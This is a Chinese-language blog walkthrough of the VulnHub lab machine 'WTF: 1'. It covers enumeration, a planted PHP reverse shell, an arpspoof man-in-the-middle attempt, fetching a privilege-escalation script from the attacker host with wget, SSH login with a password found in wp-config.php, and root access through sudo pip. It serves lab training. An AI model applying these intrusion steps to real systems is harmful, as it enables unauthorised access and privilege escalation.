『VulnHub系列』WTF: 1-Walkthrough

靶机地址

难度:中等

靶机发布日期:2019年11月22日

在这里插入图片描述
靶机描述:beginner - intermediate machine, your goal is to read /root/flag.txt.

Remember, good enumeration! VMware based, you may have problems with VB.

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:[email protected]

工具、知识点和漏洞

  • nmap
  • gobuster
  • burpsuite
  • wireshark
  • MiTM
  • /usr/bin/pip提权

存疑、待解决

  • 通过MiTM怎么拿到shell

0x00、信息收集

靶机IP:172.16.203.128

nmap -sn 192.168.56.0/24

在这里插入图片描述

端口和服务

nmap -sS -sV -T5 -A -p- 172.16.203.128

在这里插入图片描述

页面、目录枚举

扫描二维码关注公众号,回复: 8716718 查看本文章
gobuster dir -u http://172.16.203.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x .php,.txt,.html,.zip

在这里插入图片描述

然后我访问/javascript时提示禁止访问,想着里面会不会有什么js脚本是突破口?然而是我想多了,最终也只发现了/javascript/jquery/jquery.js

之后用burpsuite抓包,没什么卵用;然后用wireshark,依然没什么卵用。有点绝望了啊!!!

想到靶机的描述里面有这么一句话Remember, good enumeration!。随机换了个字典,接着用gobuster扫它,扫它,扫它。

在这里插入图片描述

字典用的是Github上21.8k Star https://github.com/danielmiessler/SecLists。之前已经把kali自带的字典全部试过了~,对,全部。

哦豁,发现了/zhkh,用的wordpress

在这里插入图片描述

然而之后发现请求了192.168.1.13,因为之前EVM:1那个靶机也是类似的情况。所以我修改了Host only网卡的IP和子网掩码,可是并不能使靶机自动获取到这个192.168.1.13的地址

后来一个老哥说可以这么操作,我真是菜~

在这里插入图片描述

因为响应body里面有192.168.1.13,所以直接用靶机的IP给它替换掉。

在这里插入图片描述

正常显示首页之后,四处点了点,没发现什么。wordpress的版本是5.3,发布不到一个月,所以漏洞什么的就不要想了。之后爆破了一下admin用户的密码,无果。

0x01、发现shell.php

秉承着good enumeration的无上原则,用gobuster对着/zhkh/wp-content/又是一顿扫,发现/uploads

在这里插入图片描述

在这里插入图片描述

之后发现了shell.php

在这里插入图片描述

直接访问shell.php得到一串警告,之后burpsuite抓包

在这里插入图片描述

随后使用curl请求了一下,发现响应包中的Content-Length是104,而我们之前用burpsuite抓包得到的是90。

这里是在burpsuite中选中/zhkh/wp-content/uploads/uigen_2019/shell.php,然后右键拷贝成curl命令

在这里插入图片描述

然而好像没什么卵用。到网上搜了一下错误提示,有了如下的发现。

在这里插入图片描述

从这里可以基本断定这就是一个reverse shell的php,然而里面的ip和都不知道,而且即便知道了配置起来好像也不是那么容易。

0x02、中间人攻击

请教了老哥之后,说是可以直接用MiTM(中间人攻击)搞一波,给了MiTM四个字符之后随即绝尘而去,我真是羡慕这样潇洒的背影~

出于好奇我想用wireshark抓取Host only对应的网卡(eth1)的流量,看看我直接访问shell.php的时候能不能抓到什么东西。

在这里插入图片描述

在这里插入图片描述

从图中可以看到192.168.11.131(源IP)向192.168.1.14(目的IP)发起了请求。192.168.11.131是靶机的IP,请原谅它的IP总是变动~,我的锅;还记得之前wordpress首页向192.168.1.13发送请求吗?所以这里的192.168.1.14应该就是接收shell会话的攻击机的地址了。这是按常理推断,如果我的靶机IP是192.168.1.13,那么我的攻击机应该是处在同网段的,而抓取流量的过程中只出现了192.168.1.14,所以shell.php里面的接收shell会话的IP就是这个了。

还有就是源IP的端口是41262,目的IP的端口是5555(也就是说nc的监听端口是5555),目前还不知道这些信息有没有用。因为之前没有接触过MiTM,所以都是现学现卖~

投机取巧getshell

第二天突然想到好像可以不用MiTM这种手法,因为毕竟是本地的靶机,所以也可以修改一下虚拟机软件的网络配置,比如NAT模式的网络配置改成192.168.1.0/24,之后再给kali配置一个静态IP192.168.1.14~

在这里插入图片描述

在这里插入图片描述

MiTM获取shell

演示完了投机取巧的办法之后,老老实实的回来研究怎么通过MiTM获取shell。这里推荐一篇阿里巴巴的表哥写的文章:中间人攻击(MITM)姿势总结,四个字形容:图文并茂。

了解了ARP的原理之后,我就想,我直接在靶机发送广播(ARP Request)的时候,告诉靶机“kali就是192.168.1.14”不就好了?

我这里用的工具是arpspoof,kali 2019.4已经没有这个工具了,需要通过安装dsniff后才能使用。

arpspoof -i eth0 -t 192.168.1.129 192.168.1.14 # 告诉靶机(192.168.1.129),“kali就是`192.168.1.14`”

然后使用curl访问shell.php,结果报错了。

在这里插入图片描述

同一时间,wireshark抓包的结果如下:

在这里插入图片描述

折腾了许久没能getshell,先放一放。有表哥知道怎么弄的话,麻烦给个思路,先谢过了。

0x03、权限提升

--------------------------------------------------------------Begin 套话分割线 Begin--------------------------------------------------------------

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.pyLinEnum.sh.

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中,之后使用less查看

python linuxprivchecker.py > report.txt
less report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

-------------------------------------------------------------- End 套话分割线 End --------------------------------------------------------------

SUID权限可执行文件,没有可用的

find / -perm -u=s -type f 2>/dev/null

常见的SUID提权可执行文件

  • nmap
  • vim
  • less
  • more
  • nano
  • cp
  • mv
  • find
  • wget
  • bash

当前用户可写文件,发现一堆,但是极大多数都是没用的,所以我先把结果输出到文本文件,然后使用grep加上关键字去筛选。但是也没发现什么有用的信息。

find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys|/var/www/html/zhkh' /tmp/report.txt

查看计划任务,无

cat /etc/crontab

查找sudo权限命令,需要输入密码

sudo -l

查看/etc/passwd发现一个用户ra,之前端口扫描的时候发现SSH服务在运行,所以可以尝试爆破一下。用kali自带的fasttrack.txt字典爆破无果之后就没有再去尝试用其他的字典再尝试了。

uame -a查看内核版本为4.19.0-6-amd64,这个先留着吧

本来想用netstat查看一下有没有什么只能本地访问的服务的,结果没装~

随后打开了wordpress的配置文件wp-config.php,发现数据库的用户是ra,跟系统用户名一样,所以尝试直接用数据库的密码登录一下,结果密码不对。然后就继续往下翻了翻,发现有一串注释掉的字符串Db]f{He3HgO(z,好生奇怪,虽然没有深入研究过wordpress,但直觉告诉我,这串字符串有问题,正所谓事出无常必有妖

在这里插入图片描述

接着把它当作ra用户的密码,尝试通过SSH登录了一下,嗯~直接登录成功了。不好意思,我当时直接笑出了声……

紧直接读取了.bash_history,发现之前执行过find . -exec "whoami" \;,随即猜测find可能是有SUID权限的,试了一下发现是我想太多。

在这里插入图片描述

重新执行了一下sudo -l,发现/usr/bin/pip可以以root用户的权限执行。到https://gtfobins.github.io/查了一下,发现有现成的payload,直接照搬即可获得root权限。

在这里插入图片描述

在这里插入图片描述

请原谅此处的马赛克,感谢理解。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。我是ins1ght.

在这里插入图片描述

发布了41 篇原创文章 · 获赞 14 · 访问量 7902

猜你喜欢

转载自blog.csdn.net/weixin_44214107/article/details/103537647